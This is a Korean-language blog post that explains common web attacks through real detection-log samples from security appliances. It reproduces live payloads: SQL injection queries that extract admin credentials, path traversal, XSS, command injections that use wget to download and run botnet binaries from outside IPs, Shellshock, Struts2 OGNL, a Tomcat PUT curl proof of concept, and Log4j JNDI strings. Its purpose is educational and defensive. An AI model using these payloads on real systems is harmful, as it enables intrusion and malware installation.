실제 상단 보안 APT 보안 장비에서는 하루에도 수십만건 이상의 보안 위협 탐지 로그가 발생됩니다. 수많은 탐지 로그중 잘알려진 대표적인 공격들에 대한 로그를 기준으로 어떤 방식으로 실제 공격을 시도하는지 실제 시스템에는 어떻게 기록이 되는지 확인해보겠습니다. 누군가에게는 도움이 되었으면 합니다.
셀수도 없을만큼 수많은 공격 유형이 있으나 잘알려진 가장 대표적인 것들 몇가지에 대해서만 기술하도록 하겠습니다. 각 공격에 대한 사전 예방 방법에 대해서는 별도로 내용을 기술하진 않겠습니다. 인터넷이나 구글링을 해보면 많은 자료를 찾아 볼수 있을것입니다.
SQL Injection 공격
웹 어플리케이션 보안 상의 허점을 의도적으로 이용해, 악의적인 SQL문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 공격 입니다. 보안이 취약하여 sql injection 이 가능한 웹사이트의 경우 DB 민감정보(개인정보)를 모두 해킹 당할수도 있는 무서운 공격입니다.
http://abc.xxxx.com/xxx/view.php?article_id=-1%20UNION%20ALL%20SELECT%201,2,3,0x53514c2d4974696f6e2d54657374,5,6,7,8,9
http://abc.xxxx.com/xxx/suworkplay.php?ID=-1)%20UNION%20ALL%20SELECT%200x4f70656e5641532d6e6a656374696f6e2d54657374,2,3,4,5,6,7,8,9,10,11%23
http://abc.xxxx.com/xxx/xl_stats/download.php?id=2+AND+1=2+UNION+SELECT+1,2,3,4,0x53514c2d374696f6e2d54657374–
http://www.xxx.com/news/types_read.php?uid=209301&class=7%22%20or%20(1,2)=(select*from(select%20name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name_const(CHAR(111,108,111,108,111,115,104,101,114),1))a)%20–%20%22x%22=%22x
http://ab.cd.com/wapq.php?action=list&id=1%20or%20@%60%27%60=1%20and%20(SELECT%201%20FROM%20(select%20count(),concat(floor(rand(0)2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+%60%23@__admin%60%20+limit+0,1),1,62)))a%20from%20information_schema.tables%20group%20by%20a)
Directory Traversal (디렉토리 경로 조작 공격)
웹서버 환경 설정상의 오류나 중요 파일의 경로 오류를 이용하여 디렉토리 리스팅을 통해 권한 설정이 미흡한 파일에 접근하거나 중요 정보를 획득 하는 공격.
실제 공격 형태
http://xxx.abc.com/..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
http://xxx.abc.com/…………\windows/win.ini
http://xxx.abc.com/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F
XSS (크로스사이트 스크립팅 공격)
게시판이나 웹 메일 등에 악의적인 스크립트를 삽입하여 비정상적인 페이지가 보이하여 타 사용자의 사용을 방해하거나
악의 적인 목적으로 사용자의 쿠키 및 세션등을 탈취 하는 해킹 공격.
실제 공격 형태
http://www.xxx.com/popup/findOrder.asp?page=&year=&month=&seyear=&semonth=&sgdname=
http://www.xxx.com/cscenter/qa_list.asp?page=&searchTitle=&SearchContent=&searchValue=””>
http://abc.xxx.com/index.php?file=Liens&op=”>
http://abcde.co.kr/blog/blogs.php?tag=gameCat+
Commandline Injection Attack (명령어 주입 공격)
주로 시스템 명령어를 호출하는 어플리케이션의 인자 값을 조작하여 의도하지 않은 시스템 명령어를 실행시키는 공격 기법. 리눅스 OS를 사용하는 서비스의 경우 wget 명령어를 URL에 포함하여 권한 설정이 미흡할시 외부로 부터 악성코드를 바로 다운로드받을수도 있습니다. 취약한 어플리케이션을 통하여 사용자의 명령어 시스템에서 임의적인 명령을 실행시키는 것을 목적으로 하는 공격
http://12x.x.20.x/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://1×7.x9.2x.1×2/ex.sh;chmod%20777%20ex.sh;sh%20ex.sh
http://aax.x.com/maker/snwrite.cgi?mac=1234;wget%20http://x9.xx.22x.xx/airlink.sh%20-O%20/tmp/666trapgod;chmod%20777%20/tmp/666trapgod;./tmp/666trapgod
http://aax.x.com/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Password%3E$(cd%20/tmp;%20wget%20http://2xx.1×1.33.1×9/avtechsh%20-O%20d4rk;%20chmod%20777%20d4rk;%20sh%20d4rk)&password=admin
http://aax.x.co.kr/login.cgi?cli=aa%20aa%27;wget%20http://x4.2xx.3x.7x/bins/Solstice.mips%20-O%20->%20/tmp/.Solstice;chmod%20777%20/tmp/.Solstice;/tmp/.Solstice%20dlink%27$
DLINK Command Injection Exploit – HTTP (Request) – Variant 2 / D-Link 라우터의 다양한 취약점 공격
/login.cgi?cli=aa%20aa%27;wget%20http://8x.2x.1x.2x/x%20-O%20-%3E%20/tmp/x;sh%20/tmp/x%27$
/board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://8x.xx.2×3.x0/bins/rift.arm7;chmod+777+rift.arm7;/tmp/rift.arm7+vacron
Shell shock 취약점 공격 (Bash 환경 변수 명령 주입 취약점) CVE-2014-6278
Bash shell 함수를 처리하는 과정의 버그를 이용한 공격입니다.
시스템에 GNU Bash가 설치되어있다고 해서 무조건 공격에 영향을 받는 것은 아니며 환경변수를 통해 Bash를 호출할 수 있는 프로그램
또는 스크립트가 시스템 내에 존재할 경우 취약점에 영향을 받는 특성을 가지고 있습니다. 취약점이 존재 한다면 어떤 코드이든 실행 할 수 있게 된다.
예를 들자면 root 권한도 탈취할수 있습니다.
실제 공격 형태
http://2x.254.x15.x2:80/tmUnblock.cgi
http://x9.xx.15x.x30/cgi-sys/entropysearch.cgi
requestClientApplication:() { ; OpenVAS-VT; } >[$($())] { echo Content-Type: text/plain; echo; echo; PATH=/usr/bin:/usr/local/bin:/bin; export PATH; id;}
공격자 요청 헤더 정보
실행코드 예시:
submit_button=&change_action=&action=&commit=&xtcp_num=2&xtcp_size=2&xtcp_ip=-h cd /tmp;echo "#!/bin/sh" > excode1.sh;echo "wget -O excode2.sh hxxp://1xx.2x.1xx.x6/ferry/rev12.sh" >> excode1.sh;echo "chmod +x excode2.sh" >> excode1.sh;echo "./excode2.sh" >> excode1.sh;chmod +x excode1.sh;./excode1.sh
&StartEPI=1
heartbleed 하트블리트 취약점
OpenSSL 암호화 라이브러리의 하트비트(Heartbeat)라는 확장 모듈에서 클라이언트 요청 메시지를 처리할 때 데이터 길이 검증을 수행하지 않아 시스템 메모리에 저장된 64KB 크기의 데이터를 외부에서 아무런 제한 없이 탈취할 수 있는 취약점. 하트비트란 클라이언트와 서버 간의 연결 상태 체크를 위한 OpenSSL 확장 모듈 입니다.
피해 범위는 메모리 정보 획득이 가능하기 때문에 https 서버 메모리에 있는 “웹 사용자 정보”가 노출될 수도 있으며 “사용자 세션을 하이재킹” 할수도 있다. (특정 OpenSSL 버전에만 해당됩니다)
Brute force 공격 (무차별 대입 공격)
모든 암호(패스워드)조합을 무차별 대입 시도하는 다소 기초적인 방식의 해킹 공격. 예를들자면 admin 1111 qwer1234 등과 같은 단순한 패스워드를 무차별로 대입하는것입니다.
하지만 단순한 암호는 충분한 시간만 주어진다면 모두 대입이 가능하고, 특정 단어나 패턴이 유추 가능할 경우엔 더욱 취약해질 수 있습니다.
공격자들은 대입에 소요되는 시간을 줄이기 위해 사전에 있는 단어를 우선 시도하는 이른바 dictionary Attack를 진행하기도 합니다.
Apache Struts2 원격 코드 실행 취약점 공격 (CVE-2018-11776)
Struts 프레임워크의 중심부에서 신뢰할 수 없는 사용자 데이터의 유효성이 충분치 않아 발생한다.
이는 잠재적 원격 코드 실행으로 이어질 수 있는 OGNL expression이 발생한다.
공격자는 Struts 구성에 따라 리소스(예: 문서)를 식별하는데 사용되는 URI 쿼리의 OGNL 식을 사용하여, 악성 HTTP 요청을 보내 위와같이
서버에서 원격 코드(cat /etc/passwd)를 실행할 수 있습니다.
실제 공격 형태
http://www.youxoo.co.kr:80/%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ognlUtil%3d%23container.getInstance(%40com.opensympho
http://x4.x4.57.122:8080/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwor
http://ab.cd.com:8080/%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runt
Apache Tomcat 원격 코드 실행, 정보 노출 취약점 (CVE-2017-12615)
HTTP PUT 메소드를 사용하여 HTTP 요청을 보낼 때 이를 조작하여 jsp 파일을 서버에 업로드할 수 있는 원격 코드 실행 취약점
실제 공격 형태
http://5x.2xx.x2.57:8080/indexweb4.jsp/
http://2x.x7.15.x62/dbe_put1.jsp/
http://www.xxx.com:8088/FxCodeShell.jsp/
POC 과정 (git 참조)
Exploit using ‘curl’:
Create a .jsp file (e.g. test.jsp):
<% out.write(“
[+] JSP file successfully uploaded via curl and JSP out.write executed.
“); %>
Perform the curl command on target server:
curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp
Check if your file is uploaded by browsing to the target address or:
curl http://target-host-or-ip-address:port/test.jsp
Log4j (log4shell) 취약점 해킹 공격 (CVE-2021-44228)
Log4j는 Apache 재단에서 개발한 Java 로깅 라이브러리 즉 java 기반 어플리케이션 로그를 남기기 위해 사용됩니다.
대부분의 java 프로그램이 Log4j를 사용합니다. JNDI(Java Naming and Directory Interface) 라이브러리를 이용한 취약점입니다.
JNDI와 LDAP을 통해 RCE(원격 코드 실행)을 허용한다는 것이 가장 큰 취약점입니다.
실제공격 형태
${jndi:ldap://8X.1XX.2XX.XX:1534/Basic/Command/Base64/……MTE3LjI1Mi44My9saC5zaHx8d2dldCAtcSA………3LjI1Mi44My9saC5zaCl8YmFzaA==}
http://4X.4X.XX.X01/${jndi:ldap://1XX.140.99.X6:1389/Exploit}
http://xx.xxxxgames.com/?x=${jndi:ldap://${hostName}./a}
http://X.2XX.X8.X5/solree/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D.c7lvppsmrdbbf1h….sf4eoy586..c.oast.site/a%7D
이와같이 잘알려진 대표적인 해킹 공격 유형과 실제 보안 장비에서 발생되는 로그를 토대로 사례를 알아 보았습니다. 경험상 해킹사고의 시발점은 거창하고 거대한것이 아닙니다.
대부분 가장 기본적으로 지켜야할 보안 사항을 지키지 않았을때 사고가 발생하는것입니다. 예를들자면 단순한 패스워드 사용, 외부에 불필요하게 열려있는 서비스 포트, OS나 Application 환경설정 미흡, 사용자 부주의(스팸 피싱등) 으로 인한 이슈가 대부분입니다.
나 하나쯤은 괜찮겟지라는 사고방식은 버리고 지금이라도 정보보안에 대한 보안의식을 재정립하는 시간이 되시길 바랍니다.